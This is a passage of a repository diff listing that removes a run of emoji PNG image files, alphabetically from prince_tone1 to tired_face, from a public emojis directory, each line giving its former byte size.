-rw-r--r--public/-/emojis/2/prince_tone1.pngbin1134 -> 0 bytes
-rw-r--r--public/-/emojis/2/prince_tone2.pngbin1101 -> 0 bytes
-rw-r--r--public/-/emojis/2/prince_tone3.pngbin1160 -> 0 bytes
-rw-r--r--public/-/emojis/2/prince_tone4.pngbin1086 -> 0 bytes
-rw-r--r--public/-/emojis/2/prince_tone5.pngbin1069 -> 0 bytes
-rw-r--r--public/-/emojis/2/princess.pngbin1158 -> 0 bytes
-rw-r--r--public/-/emojis/2/princess_tone1.pngbin1113 -> 0 bytes
-rw-r--r--public/-/emojis/2/princess_tone2.pngbin1038 -> 0 bytes
-rw-r--r--public/-/emojis/2/princess_tone3.pngbin1114 -> 0 bytes
-rw-r--r--public/-/emojis/2/princess_tone4.pngbin1101 -> 0 bytes
-rw-r--r--public/-/emojis/2/princess_tone5.pngbin984 -> 0 bytes
-rw-r--r--public/-/emojis/2/printer.pngbin524 -> 0 bytes
-rw-r--r--public/-/emojis/2/projector.pngbin833 -> 0 bytes
-rw-r--r--public/-/emojis/2/punch.pngbin594 -> 0 bytes
-rw-r--r--public/-/emojis/2/punch_tone1.pngbin589 -> 0 bytes
-rw-r--r--public/-/emojis/2/punch_tone2.pngbin553 -> 0 bytes
-rw-r--r--public/-/emojis/2/punch_tone3.pngbin542 -> 0 bytes
-rw-r--r--public/-/emojis/2/punch_tone4.pngbin536 -> 0 bytes
-rw-r--r--public/-/emojis/2/punch_tone5.pngbin563 -> 0 bytes
-rw-r--r--public/-/emojis/2/purple_heart.pngbin688 -> 0 bytes
-rw-r--r--public/-/emojis/2/purse.pngbin755 -> 0 bytes
-rw-r--r--public/-/emojis/2/pushpin.pngbin511 -> 0 bytes
-rw-r--r--public/-/emojis/2/put_litter_in_its_place.pngbin705 -> 0 bytes
-rw-r--r--public/-/emojis/2/question.pngbin481 -> 0 bytes
-rw-r--r--public/-/emojis/2/rabbit.pngbin919 -> 0 bytes
-rw-r--r--public/-/emojis/2/rabbit2.pngbin642 -> 0 bytes
-rw-r--r--public/-/emojis/2/raccoon.pngbin985 -> 0 bytes
-rw-r--r--public/-/emojis/2/race_car.pngbin584 -> 0 bytes
-rw-r--r--public/-/emojis/2/racehorse.pngbin807 -> 0 bytes
-rw-r--r--public/-/emojis/2/radio.pngbin515 -> 0 bytes
-rw-r--r--public/-/emojis/2/radio_button.pngbin844 -> 0 bytes
-rw-r--r--public/-/emojis/2/radioactive.pngbin847 -> 0 bytes
-rw-r--r--public/-/emojis/2/rage.pngbin671 -> 0 bytes
-rw-r--r--public/-/emojis/2/railway_car.pngbin434 -> 0 bytes
-rw-r--r--public/-/emojis/2/railway_track.pngbin863 -> 0 bytes
-rw-r--r--public/-/emojis/2/rainbow.pngbin910 -> 0 bytes
-rw-r--r--public/-/emojis/2/raised_back_of_hand.pngbin509 -> 0 bytes
-rw-r--r--public/-/emojis/2/raised_back_of_hand_tone1.pngbin502 -> 0 bytes
-rw-r--r--public/-/emojis/2/raised_back_of_hand_tone2.pngbin497 -> 0 bytes
-rw-r--r--public/-/emojis/2/raised_back_of_hand_tone3.pngbin509 -> 0 bytes
-rw-r--r--public/-/emojis/2/raised_back_of_hand_tone4.pngbin475 -> 0 bytes
-rw-r--r--public/-/emojis/2/raised_back_of_hand_tone5.pngbin510 -> 0 bytes
-rw-r--r--public/-/emojis/2/raised_hand.pngbin542 -> 0 bytes
-rw-r--r--public/-/emojis/2/raised_hand_tone1.pngbin564 -> 0 bytes
-rw-r--r--public/-/emojis/2/raised_hand_tone2.pngbin498 -> 0 bytes
-rw-r--r--public/-/emojis/2/raised_hand_tone3.pngbin499 -> 0 bytes
-rw-r--r--public/-/emojis/2/raised_hand_tone4.pngbin467 -> 0 bytes
-rw-r--r--public/-/emojis/2/raised_hand_tone5.pngbin526 -> 0 bytes
-rw-r--r--public/-/emojis/2/raised_hands.pngbin705 -> 0 bytes
-rw-r--r--public/-/emojis/2/raised_hands_tone1.pngbin652 -> 0 bytes
-rw-r--r--public/-/emojis/2/raised_hands_tone2.pngbin603 -> 0 bytes
-rw-r--r--public/-/emojis/2/raised_hands_tone3.pngbin597 -> 0 bytes
-rw-r--r--public/-/emojis/2/raised_hands_tone4.pngbin661 -> 0 bytes
-rw-r--r--public/-/emojis/2/raised_hands_tone5.pngbin645 -> 0 bytes
-rw-r--r--public/-/emojis/2/raising_hand.pngbin1006 -> 0 bytes
-rw-r--r--public/-/emojis/2/raising_hand_tone1.pngbin989 -> 0 bytes
-rw-r--r--public/-/emojis/2/raising_hand_tone2.pngbin916 -> 0 bytes
-rw-r--r--public/-/emojis/2/raising_hand_tone3.pngbin953 -> 0 bytes
-rw-r--r--public/-/emojis/2/raising_hand_tone4.pngbin850 -> 0 bytes
-rw-r--r--public/-/emojis/2/raising_hand_tone5.pngbin913 -> 0 bytes
-rw-r--r--public/-/emojis/2/ram.pngbin808 -> 0 bytes
-rw-r--r--public/-/emojis/2/ramen.pngbin1157 -> 0 bytes
-rw-r--r--public/-/emojis/2/rat.pngbin683 -> 0 bytes
-rw-r--r--public/-/emojis/2/receipt.pngbin538 -> 0 bytes
-rw-r--r--public/-/emojis/2/record_button.pngbin546 -> 0 bytes
-rw-r--r--public/-/emojis/2/recycle.pngbin703 -> 0 bytes
-rw-r--r--public/-/emojis/2/red_car.pngbin795 -> 0 bytes
-rw-r--r--public/-/emojis/2/red_circle.pngbin583 -> 0 bytes
-rw-r--r--public/-/emojis/2/red_envelope.pngbin403 -> 0 bytes
-rw-r--r--public/-/emojis/2/red_haired.pngbin508 -> 0 bytes
-rw-r--r--public/-/emojis/2/regional_indicator_a.pngbin679 -> 0 bytes
-rw-r--r--public/-/emojis/2/regional_indicator_b.pngbin641 -> 0 bytes
-rw-r--r--public/-/emojis/2/regional_indicator_c.pngbin690 -> 0 bytes
-rw-r--r--public/-/emojis/2/regional_indicator_d.pngbin644 -> 0 bytes
-rw-r--r--public/-/emojis/2/regional_indicator_e.pngbin551 -> 0 bytes
-rw-r--r--public/-/emojis/2/regional_indicator_f.pngbin570 -> 0 bytes
-rw-r--r--public/-/emojis/2/regional_indicator_g.pngbin769 -> 0 bytes
-rw-r--r--public/-/emojis/2/regional_indicator_h.pngbin646 -> 0 bytes
-rw-r--r--public/-/emojis/2/regional_indicator_i.pngbin629 -> 0 bytes
-rw-r--r--public/-/emojis/2/regional_indicator_j.pngbin627 -> 0 bytes
-rw-r--r--public/-/emojis/2/regional_indicator_k.pngbin719 -> 0 bytes
-rw-r--r--public/-/emojis/2/regional_indicator_l.pngbin567 -> 0 bytes
-rw-r--r--public/-/emojis/2/regional_indicator_m.pngbin667 -> 0 bytes
-rw-r--r--public/-/emojis/2/regional_indicator_n.pngbin749 -> 0 bytes
-rw-r--r--public/-/emojis/2/regional_indicator_o.pngbin782 -> 0 bytes
-rw-r--r--public/-/emojis/2/regional_indicator_p.pngbin438 -> 0 bytes
-rw-r--r--public/-/emojis/2/regional_indicator_q.pngbin724 -> 0 bytes
-rw-r--r--public/-/emojis/2/regional_indicator_r.pngbin677 -> 0 bytes
-rw-r--r--public/-/emojis/2/regional_indicator_s.pngbin752 -> 0 bytes
-rw-r--r--public/-/emojis/2/regional_indicator_t.pngbin369 -> 0 bytes
-rw-r--r--public/-/emojis/2/regional_indicator_u.pngbin638 -> 0 bytes
-rw-r--r--public/-/emojis/2/regional_indicator_v.pngbin781 -> 0 bytes
-rw-r--r--public/-/emojis/2/regional_indicator_w.pngbin794 -> 0 bytes
-rw-r--r--public/-/emojis/2/regional_indicator_x.pngbin483 -> 0 bytes
-rw-r--r--public/-/emojis/2/regional_indicator_y.pngbin633 -> 0 bytes
-rw-r--r--public/-/emojis/2/regional_indicator_z.pngbin600 -> 0 bytes
-rw-r--r--public/-/emojis/2/registered.pngbin596 -> 0 bytes
-rw-r--r--public/-/emojis/2/relaxed.pngbin809 -> 0 bytes
-rw-r--r--public/-/emojis/2/relieved.pngbin683 -> 0 bytes
-rw-r--r--public/-/emojis/2/reminder_ribbon.pngbin574 -> 0 bytes
-rw-r--r--public/-/emojis/2/repeat.pngbin733 -> 0 bytes
-rw-r--r--public/-/emojis/2/repeat_one.pngbin660 -> 0 bytes
-rw-r--r--public/-/emojis/2/restroom.pngbin593 -> 0 bytes
-rw-r--r--public/-/emojis/2/revolving_hearts.pngbin907 -> 0 bytes
-rw-r--r--public/-/emojis/2/rewind.pngbin580 -> 0 bytes
-rw-r--r--public/-/emojis/2/rhino.pngbin804 -> 0 bytes
-rw-r--r--public/-/emojis/2/ribbon.pngbin886 -> 0 bytes
-rw-r--r--public/-/emojis/2/rice.pngbin834 -> 0 bytes
-rw-r--r--public/-/emojis/2/rice_ball.pngbin924 -> 0 bytes
-rw-r--r--public/-/emojis/2/rice_cracker.pngbin989 -> 0 bytes
-rw-r--r--public/-/emojis/2/rice_scene.pngbin1000 -> 0 bytes
-rw-r--r--public/-/emojis/2/right_facing_fist.pngbin437 -> 0 bytes
-rw-r--r--public/-/emojis/2/right_facing_fist_tone1.pngbin432 -> 0 bytes
-rw-r--r--public/-/emojis/2/right_facing_fist_tone2.pngbin424 -> 0 bytes
-rw-r--r--public/-/emojis/2/right_facing_fist_tone3.pngbin420 -> 0 bytes
-rw-r--r--public/-/emojis/2/right_facing_fist_tone4.pngbin437 -> 0 bytes
-rw-r--r--public/-/emojis/2/right_facing_fist_tone5.pngbin448 -> 0 bytes
-rw-r--r--public/-/emojis/2/ring.pngbin994 -> 0 bytes
-rw-r--r--public/-/emojis/2/robot.pngbin876 -> 0 bytes
-rw-r--r--public/-/emojis/2/rocket.pngbin1082 -> 0 bytes
-rw-r--r--public/-/emojis/2/rofl.pngbin846 -> 0 bytes
-rw-r--r--public/-/emojis/2/roll_of_paper.pngbin643 -> 0 bytes
-rw-r--r--public/-/emojis/2/roller_coaster.pngbin945 -> 0 bytes
-rw-r--r--public/-/emojis/2/rolling_eyes.pngbin841 -> 0 bytes
-rw-r--r--public/-/emojis/2/rooster.pngbin898 -> 0 bytes
-rw-r--r--public/-/emojis/2/rose.pngbin872 -> 0 bytes
-rw-r--r--public/-/emojis/2/rosette.pngbin978 -> 0 bytes
-rw-r--r--public/-/emojis/2/rotating_light.pngbin819 -> 0 bytes
-rw-r--r--public/-/emojis/2/round_pushpin.pngbin480 -> 0 bytes
-rw-r--r--public/-/emojis/2/rowboat.pngbin822 -> 0 bytes
-rw-r--r--public/-/emojis/2/rowboat_tone1.pngbin872 -> 0 bytes
-rw-r--r--public/-/emojis/2/rowboat_tone2.pngbin806 -> 0 bytes
-rw-r--r--public/-/emojis/2/rowboat_tone3.pngbin727 -> 0 bytes
-rw-r--r--public/-/emojis/2/rowboat_tone4.pngbin808 -> 0 bytes
-rw-r--r--public/-/emojis/2/rowboat_tone5.pngbin790 -> 0 bytes
-rw-r--r--public/-/emojis/2/rugby_football.pngbin955 -> 0 bytes
-rw-r--r--public/-/emojis/2/runner.pngbin785 -> 0 bytes
-rw-r--r--public/-/emojis/2/runner_tone1.pngbin763 -> 0 bytes
-rw-r--r--public/-/emojis/2/runner_tone2.pngbin696 -> 0 bytes
-rw-r--r--public/-/emojis/2/runner_tone3.pngbin729 -> 0 bytes
-rw-r--r--public/-/emojis/2/runner_tone4.pngbin689 -> 0 bytes
-rw-r--r--public/-/emojis/2/runner_tone5.pngbin699 -> 0 bytes
-rw-r--r--public/-/emojis/2/running_shirt_with_sash.pngbin795 -> 0 bytes
-rw-r--r--public/-/emojis/2/sa.pngbin649 -> 0 bytes
-rw-r--r--public/-/emojis/2/safety_pin.pngbin618 -> 0 bytes
-rw-r--r--public/-/emojis/2/sagittarius.pngbin621 -> 0 bytes
-rw-r--r--public/-/emojis/2/sake.pngbin659 -> 0 bytes
-rw-r--r--public/-/emojis/2/salad.pngbin1115 -> 0 bytes
-rw-r--r--public/-/emojis/2/salt.pngbin733 -> 0 bytes
-rw-r--r--public/-/emojis/2/sandal.pngbin529 -> 0 bytes
-rw-r--r--public/-/emojis/2/sandwich.pngbin774 -> 0 bytes
-rw-r--r--public/-/emojis/2/santa.pngbin969 -> 0 bytes
-rw-r--r--public/-/emojis/2/santa_tone1.pngbin927 -> 0 bytes
-rw-r--r--public/-/emojis/2/santa_tone2.pngbin908 -> 0 bytes
-rw-r--r--public/-/emojis/2/santa_tone3.pngbin893 -> 0 bytes
-rw-r--r--public/-/emojis/2/santa_tone4.pngbin908 -> 0 bytes
-rw-r--r--public/-/emojis/2/santa_tone5.pngbin888 -> 0 bytes
-rw-r--r--public/-/emojis/2/satellite.pngbin943 -> 0 bytes
-rw-r--r--public/-/emojis/2/satellite_orbital.pngbin832 -> 0 bytes
-rw-r--r--public/-/emojis/2/sauropod.pngbin699 -> 0 bytes
-rw-r--r--public/-/emojis/2/saxophone.pngbin815 -> 0 bytes
-rw-r--r--public/-/emojis/2/scarf.pngbin867 -> 0 bytes
-rw-r--r--public/-/emojis/2/school.pngbin643 -> 0 bytes
-rw-r--r--public/-/emojis/2/school_satchel.pngbin1007 -> 0 bytes
-rw-r--r--public/-/emojis/2/scissors.pngbin856 -> 0 bytes
-rw-r--r--public/-/emojis/2/scooter.pngbin732 -> 0 bytes
-rw-r--r--public/-/emojis/2/scorpion.pngbin1038 -> 0 bytes
-rw-r--r--public/-/emojis/2/scorpius.pngbin692 -> 0 bytes
-rw-r--r--public/-/emojis/2/scotland.pngbin529 -> 0 bytes
-rw-r--r--public/-/emojis/2/scream.pngbin1030 -> 0 bytes
-rw-r--r--public/-/emojis/2/scream_cat.pngbin994 -> 0 bytes
-rw-r--r--public/-/emojis/2/scroll.pngbin896 -> 0 bytes
-rw-r--r--public/-/emojis/2/seat.pngbin532 -> 0 bytes
-rw-r--r--public/-/emojis/2/second_place.pngbin1004 -> 0 bytes
-rw-r--r--public/-/emojis/2/secret.pngbin875 -> 0 bytes
-rw-r--r--public/-/emojis/2/see_no_evil.pngbin856 -> 0 bytes
-rw-r--r--public/-/emojis/2/seedling.pngbin643 -> 0 bytes
-rw-r--r--public/-/emojis/2/selfie.pngbin739 -> 0 bytes
-rw-r--r--public/-/emojis/2/selfie_tone1.pngbin699 -> 0 bytes
-rw-r--r--public/-/emojis/2/selfie_tone2.pngbin694 -> 0 bytes
-rw-r--r--public/-/emojis/2/selfie_tone3.pngbin729 -> 0 bytes
-rw-r--r--public/-/emojis/2/selfie_tone4.pngbin713 -> 0 bytes
-rw-r--r--public/-/emojis/2/selfie_tone5.pngbin655 -> 0 bytes
-rw-r--r--public/-/emojis/2/seven.pngbin565 -> 0 bytes
-rw-r--r--public/-/emojis/2/shallow_pan_of_food.pngbin1321 -> 0 bytes
-rw-r--r--public/-/emojis/2/shamrock.pngbin788 -> 0 bytes
-rw-r--r--public/-/emojis/2/shark.pngbin812 -> 0 bytes
-rw-r--r--public/-/emojis/2/shaved_ice.pngbin1002 -> 0 bytes
-rw-r--r--public/-/emojis/2/sheep.pngbin703 -> 0 bytes
-rw-r--r--public/-/emojis/2/shell.pngbin830 -> 0 bytes
-rw-r--r--public/-/emojis/2/shield.pngbin835 -> 0 bytes
-rw-r--r--public/-/emojis/2/shinto_shrine.pngbin429 -> 0 bytes
-rw-r--r--public/-/emojis/2/ship.pngbin642 -> 0 bytes
-rw-r--r--public/-/emojis/2/shirt.pngbin581 -> 0 bytes
-rw-r--r--public/-/emojis/2/shopping_bags.pngbin886 -> 0 bytes
-rw-r--r--public/-/emojis/2/shopping_cart.pngbin1056 -> 0 bytes
-rw-r--r--public/-/emojis/2/shower.pngbin796 -> 0 bytes
-rw-r--r--public/-/emojis/2/shrimp.pngbin1097 -> 0 bytes
-rw-r--r--public/-/emojis/2/shrug.pngbin780 -> 0 bytes
-rw-r--r--public/-/emojis/2/shrug_tone1.pngbin738 -> 0 bytes
-rw-r--r--public/-/emojis/2/shrug_tone2.pngbin768 -> 0 bytes
-rw-r--r--public/-/emojis/2/shrug_tone3.pngbin742 -> 0 bytes
-rw-r--r--public/-/emojis/2/shrug_tone4.pngbin748 -> 0 bytes
-rw-r--r--public/-/emojis/2/shrug_tone5.pngbin712 -> 0 bytes
-rw-r--r--public/-/emojis/2/shushing_face.pngbin769 -> 0 bytes
-rw-r--r--public/-/emojis/2/signal_strength.pngbin494 -> 0 bytes
-rw-r--r--public/-/emojis/2/six.pngbin630 -> 0 bytes
-rw-r--r--public/-/emojis/2/six_pointed_star.pngbin642 -> 0 bytes
-rw-r--r--public/-/emojis/2/skateboard.pngbin513 -> 0 bytes
-rw-r--r--public/-/emojis/2/ski.pngbin1233 -> 0 bytes
-rw-r--r--public/-/emojis/2/skier.pngbin935 -> 0 bytes
-rw-r--r--public/-/emojis/2/skull.pngbin919 -> 0 bytes
-rw-r--r--public/-/emojis/2/skull_crossbones.pngbin943 -> 0 bytes
-rw-r--r--public/-/emojis/2/sled.pngbin731 -> 0 bytes
-rw-r--r--public/-/emojis/2/sleeping.pngbin932 -> 0 bytes
-rw-r--r--public/-/emojis/2/sleeping_accommodation.pngbin532 -> 0 bytes
-rw-r--r--public/-/emojis/2/sleepy.pngbin746 -> 0 bytes
-rw-r--r--public/-/emojis/2/slight_frown.pngbin646 -> 0 bytes
-rw-r--r--public/-/emojis/2/slight_smile.pngbin620 -> 0 bytes
-rw-r--r--public/-/emojis/2/slot_machine.pngbin803 -> 0 bytes
-rw-r--r--public/-/emojis/2/small_blue_diamond.pngbin297 -> 0 bytes
-rw-r--r--public/-/emojis/2/small_orange_diamond.pngbin234 -> 0 bytes
-rw-r--r--public/-/emojis/2/small_red_triangle.pngbin484 -> 0 bytes
-rw-r--r--public/-/emojis/2/small_red_triangle_down.pngbin492 -> 0 bytes
-rw-r--r--public/-/emojis/2/smile.pngbin852 -> 0 bytes
-rw-r--r--public/-/emojis/2/smile_cat.pngbin1036 -> 0 bytes
-rw-r--r--public/-/emojis/2/smiley.pngbin759 -> 0 bytes
-rw-r--r--public/-/emojis/2/smiley_cat.pngbin918 -> 0 bytes
-rw-r--r--public/-/emojis/2/smiling_face_with_3_hearts.pngbin964 -> 0 bytes
-rw-r--r--public/-/emojis/2/smiling_imp.pngbin875 -> 0 bytes
-rw-r--r--public/-/emojis/2/smirk.pngbin723 -> 0 bytes
-rw-r--r--public/-/emojis/2/smirk_cat.pngbin879 -> 0 bytes
-rw-r--r--public/-/emojis/2/smoking.pngbin754 -> 0 bytes
-rw-r--r--public/-/emojis/2/snail.pngbin818 -> 0 bytes
-rw-r--r--public/-/emojis/2/snake.pngbin941 -> 0 bytes
-rw-r--r--public/-/emojis/2/sneezing_face.pngbin902 -> 0 bytes
-rw-r--r--public/-/emojis/2/snowboarder.pngbin1033 -> 0 bytes
-rw-r--r--public/-/emojis/2/snowboarder_tone1.pngbin1054 -> 0 bytes
-rw-r--r--public/-/emojis/2/snowboarder_tone2.pngbin1028 -> 0 bytes
-rw-r--r--public/-/emojis/2/snowboarder_tone3.pngbin1012 -> 0 bytes
-rw-r--r--public/-/emojis/2/snowboarder_tone4.pngbin1007 -> 0 bytes
-rw-r--r--public/-/emojis/2/snowboarder_tone5.pngbin1029 -> 0 bytes
-rw-r--r--public/-/emojis/2/snowflake.pngbin720 -> 0 bytes
-rw-r--r--public/-/emojis/2/snowman.pngbin912 -> 0 bytes
-rw-r--r--public/-/emojis/2/snowman_with_snow.pngbin1134 -> 0 bytes
-rw-r--r--public/-/emojis/2/soap.pngbin748 -> 0 bytes
-rw-r--r--public/-/emojis/2/sob.pngbin957 -> 0 bytes
-rw-r--r--public/-/emojis/2/soccer.pngbin1036 -> 0 bytes
-rw-r--r--public/-/emojis/2/socks.pngbin1353 -> 0 bytes
-rw-r--r--public/-/emojis/2/softball.pngbin1075 -> 0 bytes
-rw-r--r--public/-/emojis/2/soon.pngbin527 -> 0 bytes
-rw-r--r--public/-/emojis/2/sos.pngbin642 -> 0 bytes
-rw-r--r--public/-/emojis/2/sound.pngbin701 -> 0 bytes
-rw-r--r--public/-/emojis/2/space_invader.pngbin220 -> 0 bytes
-rw-r--r--public/-/emojis/2/spades.pngbin515 -> 0 bytes
-rw-r--r--public/-/emojis/2/spaghetti.pngbin1035 -> 0 bytes
-rw-r--r--public/-/emojis/2/sparkle.pngbin742 -> 0 bytes
-rw-r--r--public/-/emojis/2/sparkler.pngbin1194 -> 0 bytes
-rw-r--r--public/-/emojis/2/sparkles.pngbin673 -> 0 bytes
-rw-r--r--public/-/emojis/2/sparkling_heart.pngbin957 -> 0 bytes
-rw-r--r--public/-/emojis/2/speak_no_evil.pngbin862 -> 0 bytes
-rw-r--r--public/-/emojis/2/speaker.pngbin627 -> 0 bytes
-rw-r--r--public/-/emojis/2/speaking_head.pngbin553 -> 0 bytes
-rw-r--r--public/-/emojis/2/speech_balloon.pngbin724 -> 0 bytes
-rw-r--r--public/-/emojis/2/speech_left.pngbin584 -> 0 bytes
-rw-r--r--public/-/emojis/2/speedboat.pngbin620 -> 0 bytes
-rw-r--r--public/-/emojis/2/spider.pngbin956 -> 0 bytes
-rw-r--r--public/-/emojis/2/spider_web.pngbin721 -> 0 bytes
-rw-r--r--public/-/emojis/2/sponge.pngbin534 -> 0 bytes
-rw-r--r--public/-/emojis/2/spoon.pngbin547 -> 0 bytes
-rw-r--r--public/-/emojis/2/spy_tone1.pngbin1057 -> 0 bytes
-rw-r--r--public/-/emojis/2/spy_tone2.pngbin1082 -> 0 bytes
-rw-r--r--public/-/emojis/2/spy_tone3.pngbin1081 -> 0 bytes
-rw-r--r--public/-/emojis/2/spy_tone4.pngbin1019 -> 0 bytes
-rw-r--r--public/-/emojis/2/spy_tone5.pngbin1063 -> 0 bytes
-rw-r--r--public/-/emojis/2/squeeze_bottle.pngbin544 -> 0 bytes
-rw-r--r--public/-/emojis/2/squid.pngbin950 -> 0 bytes
-rw-r--r--public/-/emojis/2/stadium.pngbin1388 -> 0 bytes
-rw-r--r--public/-/emojis/2/star.pngbin571 -> 0 bytes
-rw-r--r--public/-/emojis/2/star2.pngbin713 -> 0 bytes
-rw-r--r--public/-/emojis/2/star_and_crescent.pngbin706 -> 0 bytes
-rw-r--r--public/-/emojis/2/star_of_david.pngbin660 -> 0 bytes
-rw-r--r--public/-/emojis/2/star_struck.pngbin950 -> 0 bytes
-rw-r--r--public/-/emojis/2/stars.pngbin976 -> 0 bytes
-rw-r--r--public/-/emojis/2/station.pngbin868 -> 0 bytes
-rw-r--r--public/-/emojis/2/statue_of_liberty.pngbin811 -> 0 bytes
-rw-r--r--public/-/emojis/2/steam_locomotive.pngbin906 -> 0 bytes
-rw-r--r--public/-/emojis/2/stew.pngbin1030 -> 0 bytes
-rw-r--r--public/-/emojis/2/stop_button.pngbin506 -> 0 bytes
-rw-r--r--public/-/emojis/2/stopwatch.pngbin866 -> 0 bytes
-rw-r--r--public/-/emojis/2/straight_ruler.pngbin426 -> 0 bytes
-rw-r--r--public/-/emojis/2/strawberry.pngbin1011 -> 0 bytes
-rw-r--r--public/-/emojis/2/stuck_out_tongue.pngbin736 -> 0 bytes
-rw-r--r--public/-/emojis/2/stuck_out_tongue_closed_eyes.pngbin761 -> 0 bytes
-rw-r--r--public/-/emojis/2/stuck_out_tongue_winking_eye.pngbin849 -> 0 bytes
-rw-r--r--public/-/emojis/2/stuffed_flatbread.pngbin1022 -> 0 bytes
-rw-r--r--public/-/emojis/2/sun_with_face.pngbin857 -> 0 bytes
-rw-r--r--public/-/emojis/2/sunflower.pngbin1029 -> 0 bytes
-rw-r--r--public/-/emojis/2/sunglasses.pngbin791 -> 0 bytes
-rw-r--r--public/-/emojis/2/sunny.pngbin492 -> 0 bytes
-rw-r--r--public/-/emojis/2/sunrise.pngbin707 -> 0 bytes
-rw-r--r--public/-/emojis/2/sunrise_over_mountains.pngbin759 -> 0 bytes
-rw-r--r--public/-/emojis/2/superhero.pngbin1042 -> 0 bytes
-rw-r--r--public/-/emojis/2/superhero_tone1.pngbin1121 -> 0 bytes
-rw-r--r--public/-/emojis/2/superhero_tone2.pngbin1073 -> 0 bytes
-rw-r--r--public/-/emojis/2/superhero_tone3.pngbin1040 -> 0 bytes
-rw-r--r--public/-/emojis/2/superhero_tone4.pngbin1049 -> 0 bytes
-rw-r--r--public/-/emojis/2/superhero_tone5.pngbin994 -> 0 bytes
-rw-r--r--public/-/emojis/2/supervillain.pngbin959 -> 0 bytes
-rw-r--r--public/-/emojis/2/supervillain_tone1.pngbin938 -> 0 bytes
-rw-r--r--public/-/emojis/2/supervillain_tone2.pngbin908 -> 0 bytes
-rw-r--r--public/-/emojis/2/supervillain_tone3.pngbin918 -> 0 bytes
-rw-r--r--public/-/emojis/2/supervillain_tone4.pngbin862 -> 0 bytes
-rw-r--r--public/-/emojis/2/supervillain_tone5.pngbin890 -> 0 bytes
-rw-r--r--public/-/emojis/2/surfer.pngbin965 -> 0 bytes
-rw-r--r--public/-/emojis/2/surfer_tone1.pngbin980 -> 0 bytes
-rw-r--r--public/-/emojis/2/surfer_tone2.pngbin920 -> 0 bytes
-rw-r--r--public/-/emojis/2/surfer_tone3.pngbin905 -> 0 bytes
-rw-r--r--public/-/emojis/2/surfer_tone4.pngbin928 -> 0 bytes
-rw-r--r--public/-/emojis/2/surfer_tone5.pngbin995 -> 0 bytes
-rw-r--r--public/-/emojis/2/sushi.pngbin987 -> 0 bytes
-rw-r--r--public/-/emojis/2/suspension_railway.pngbin610 -> 0 bytes
-rw-r--r--public/-/emojis/2/swan.pngbin872 -> 0 bytes
-rw-r--r--public/-/emojis/2/sweat.pngbin840 -> 0 bytes
-rw-r--r--public/-/emojis/2/sweat_drops.pngbin951 -> 0 bytes
-rw-r--r--public/-/emojis/2/sweat_smile.pngbin902 -> 0 bytes
-rw-r--r--public/-/emojis/2/sweet_potato.pngbin730 -> 0 bytes
-rw-r--r--public/-/emojis/2/swimmer.pngbin611 -> 0 bytes
-rw-r--r--public/-/emojis/2/swimmer_tone1.pngbin641 -> 0 bytes
-rw-r--r--public/-/emojis/2/swimmer_tone2.pngbin595 -> 0 bytes
-rw-r--r--public/-/emojis/2/swimmer_tone3.pngbin574 -> 0 bytes
-rw-r--r--public/-/emojis/2/swimmer_tone4.pngbin570 -> 0 bytes
-rw-r--r--public/-/emojis/2/swimmer_tone5.pngbin564 -> 0 bytes
-rw-r--r--public/-/emojis/2/symbols.pngbin741 -> 0 bytes
-rw-r--r--public/-/emojis/2/synagogue.pngbin840 -> 0 bytes
-rw-r--r--public/-/emojis/2/syringe.pngbin730 -> 0 bytes
-rw-r--r--public/-/emojis/2/t_rex.pngbin878 -> 0 bytes
-rw-r--r--public/-/emojis/2/taco.pngbin1151 -> 0 bytes
-rw-r--r--public/-/emojis/2/tada.pngbin1430 -> 0 bytes
-rw-r--r--public/-/emojis/2/takeout_box.pngbin939 -> 0 bytes
-rw-r--r--public/-/emojis/2/tanabata_tree.pngbin1009 -> 0 bytes
-rw-r--r--public/-/emojis/2/tangerine.pngbin890 -> 0 bytes
-rw-r--r--public/-/emojis/2/taurus.pngbin645 -> 0 bytes
-rw-r--r--public/-/emojis/2/taxi.pngbin818 -> 0 bytes
-rw-r--r--public/-/emojis/2/tea.pngbin856 -> 0 bytes
-rw-r--r--public/-/emojis/2/teddy_bear.pngbin848 -> 0 bytes
-rw-r--r--public/-/emojis/2/telephone_receiver.pngbin538 -> 0 bytes
-rw-r--r--public/-/emojis/2/telescope.pngbin817 -> 0 bytes
-rw-r--r--public/-/emojis/2/ten.pngbin667 -> 0 bytes
-rw-r--r--public/-/emojis/2/tennis.pngbin897 -> 0 bytes
-rw-r--r--public/-/emojis/2/tent.pngbin879 -> 0 bytes
-rw-r--r--public/-/emojis/2/test_tube.pngbin552 -> 0 bytes
-rw-r--r--public/-/emojis/2/thermometer.pngbin401 -> 0 bytes
-rw-r--r--public/-/emojis/2/thermometer_face.pngbin1030 -> 0 bytes
-rw-r--r--public/-/emojis/2/thinking.pngbin834 -> 0 bytes
-rw-r--r--public/-/emojis/2/third_place.pngbin953 -> 0 bytes
-rw-r--r--public/-/emojis/2/thought_balloon.pngbin614 -> 0 bytes
-rw-r--r--public/-/emojis/2/thread.pngbin837 -> 0 bytes
-rw-r--r--public/-/emojis/2/three.pngbin709 -> 0 bytes
-rw-r--r--public/-/emojis/2/thumbsdown.pngbin533 -> 0 bytes
-rw-r--r--public/-/emojis/2/thumbsdown_tone1.pngbin513 -> 0 bytes
-rw-r--r--public/-/emojis/2/thumbsdown_tone2.pngbin510 -> 0 bytes
-rw-r--r--public/-/emojis/2/thumbsdown_tone3.pngbin545 -> 0 bytes
-rw-r--r--public/-/emojis/2/thumbsdown_tone4.pngbin524 -> 0 bytes
-rw-r--r--public/-/emojis/2/thumbsdown_tone5.pngbin510 -> 0 bytes
-rw-r--r--public/-/emojis/2/thumbsup.pngbin517 -> 0 bytes
-rw-r--r--public/-/emojis/2/thumbsup_tone1.pngbin582 -> 0 bytes
-rw-r--r--public/-/emojis/2/thumbsup_tone2.pngbin503 -> 0 bytes
-rw-r--r--public/-/emojis/2/thumbsup_tone3.pngbin536 -> 0 bytes
-rw-r--r--public/-/emojis/2/thumbsup_tone4.pngbin500 -> 0 bytes
-rw-r--r--public/-/emojis/2/thumbsup_tone5.pngbin555 -> 0 bytes
-rw-r--r--public/-/emojis/2/thunder_cloud_rain.pngbin974 -> 0 bytes
-rw-r--r--public/-/emojis/2/ticket.pngbin494 -> 0 bytes
-rw-r--r--public/-/emojis/2/tickets.pngbin400 -> 0 bytes
-rw-r--r--public/-/emojis/2/tiger.pngbin1545 -> 0 bytes
-rw-r--r--public/-/emojis/2/tiger2.pngbin850 -> 0 bytes
-rw-r--r--public/-/emojis/2/timer.pngbin634 -> 0 bytes
-rw-r--r--public/-/emojis/2/tired_face.pngbin790 -> 0 bytes
